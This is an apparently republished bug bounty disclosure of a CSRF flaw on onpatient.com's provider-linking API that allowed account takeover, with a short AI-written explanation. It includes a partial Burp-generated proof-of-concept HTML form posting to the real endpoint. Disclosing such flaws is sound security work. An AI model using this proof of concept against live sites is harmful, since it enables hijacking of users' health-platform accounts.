[CRITICAL] CSRF leading to account take over
The provider-linking endpoint accepted cross-site POST requests without a valid CSRF defence, so an attacker could add their own email to a victim's provider list. The attacker could then take over the victim's account.
- Triaged in 1 hour
- Fixed in 18 days
- Paid in 18 days
- Disclosed after 19 days
Hi , I have found a CSRF issue that allows an attacker to link his email account to the victim's account and hijack the whole account by adding himself in the providers list .
The link: https://onpatient.com/api/v3/providers
Content-Type: application/json Vary: Accept Allow: GET, POST, HEAD, OPTIONS
[ emails of providers ]
#Here is the poc
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <div class="tab-pane active" id="post-object-form">
<form action="https://onpatient.com/api/v3/providers" method="POST" enctype="multipart/form-data" class="form-horizontal" novalidate="">
<fieldset>
<div class="form-group">
<label class="col-sm-2 control-label ">
Patient
</label>
<option value="213477">saleh ss</option>
</select>
<div class="form-group ">
<label class="col-sm-2 control-label ">
Name
</label>
<div class="form-group ">
<label class="col-sm-2 control-label ">
Specialty
</label>
<div class="form-group ">
<label class="col-sm-2 control-label ">
Fax
</label>
<div class="form-group ">
<label class="col-sm-2 control-label ">
Email
</label>
<div class="form-group ">
<label class="col-sm-2 control-label ">
Phone
</label>
<div class="form-group ">
<label class="col-sm-2 control-label ">
Address
</label>
<div class="form-actions">
<button class="btn btn-primary" title="Make a POST request on the Provider List resource">POST</button>
</div>
</fieldset>
</form>
</div>
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the provider-linking endpoint did not enforce a CSRF token or same-site check on POST requests.
Impact
An attacker could add their own email to a victim's provider list and hijack the whole account.
What the attacker needed
Victim is logged in; victim visits attacker page
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A CSRF (cross-site request forgery) bug lets a malicious website make a logged-in user's browser send a request to another site without the user meaning to. Here the provider list could be changed by such a request, so the attacker could add their own email and then use it to take over the account.
What is CSRF?
Another site makes a signed-in user's browser perform an action they did not intend.